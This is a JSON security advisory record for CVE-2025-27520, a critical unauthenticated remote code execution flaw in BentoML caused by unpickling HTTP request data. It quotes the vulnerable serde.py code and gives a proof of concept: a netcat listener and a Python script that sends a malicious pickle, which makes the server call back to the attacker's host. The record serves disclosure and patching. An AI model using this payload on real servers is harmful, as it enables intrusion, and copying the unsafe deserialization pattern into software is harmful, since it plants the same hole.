{"id":"CVE-2025-27520","aliases":["CVE-2025-27520","GHSA-33xw-247w-6hmc","PYSEC-2026-294"],"related":[],"kind":"vulnerability","state":"published","title":"BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization","summary":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -> t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -> None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline('summarization', device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -> list[str]:\n        results = self.pipeline(texts)\n        return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).","format":"markdown","source":"ghsa"},{"lang":"es","text":"BentoML es una librería de Python para crear sistemas de servidores en línea optimizados para aplicaciones de IA e inferencia de modelos. Se ha identificado una vulnerabilidad de Ejecución Remota de Código (RCE) causada por una deserialización insegura en la última versión (v1.4.2) de BentoML. Esta vulnerabilidad permite a cualquier usuario no autenticado ejecutar código arbitrario en el servidor. Existe un segmento de código inseguro en serde.py. Esta vulnerabilidad se corrigió en la versión 1.4.3.","source":"nvd"}],"published":"2025-04-04T14:28:51.574Z","modified":"2026-10-27T15:30:03.554Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"version":">= 1.3.4, < 1.4.3","status":"affected"}],"vendor":"bentoml","product":"BentoML","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.3.4","status":"affected","fixed":"1.4.3"}],"ecosystem":"PyPI","package":"bentoml","purl":"pkg:pypi/bentoml","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"1.3.4","lastAffected":"1.4.2"}],"vendor":"bentoml","product":"bentoml","cpe":"cpe:2.3:a:bentoml:bentoml:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"1.3.4","status":"affected","fixed":"1.4.3"}],"ecosystem":"PyPI","package":"bentoml","purl":"pkg:pypi/bentoml","source":"pysec"}],"references":[{"url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27520","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/bentoml/BentoML","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-294.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/bentoml","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-33xw-247w-6hmc","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-04-04T14:51:28.686Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-27520","url":"https://www.cve.org/CVERecord?id=CVE-2025-27520","licence":"CVE Terms of Use","modified":"2025-04-04T14:51:45.561Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-33xw-247w-6hmc","url":"https://github.com/advisories/GHSA-33xw-247w-6hmc","licence":"CC-BY-4.0","modified":"2026-10-27T15:30:03.554Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-27520","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27520","licence":"Public domain","modified":"2026-06-17T09:03:44.990Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-294","url":"https://osv.dev/vulnerability/PYSEC-2026-294","licence":"CC-BY-4.0","modified":"2026-07-01T20:22:49.820Z"}],"updatedAt":"2026-11-25T22:58:56.055Z","epss":{"score":0.4062,"percentile":0.98677,"date":"2026-12-01T12:00:22.000Z"}}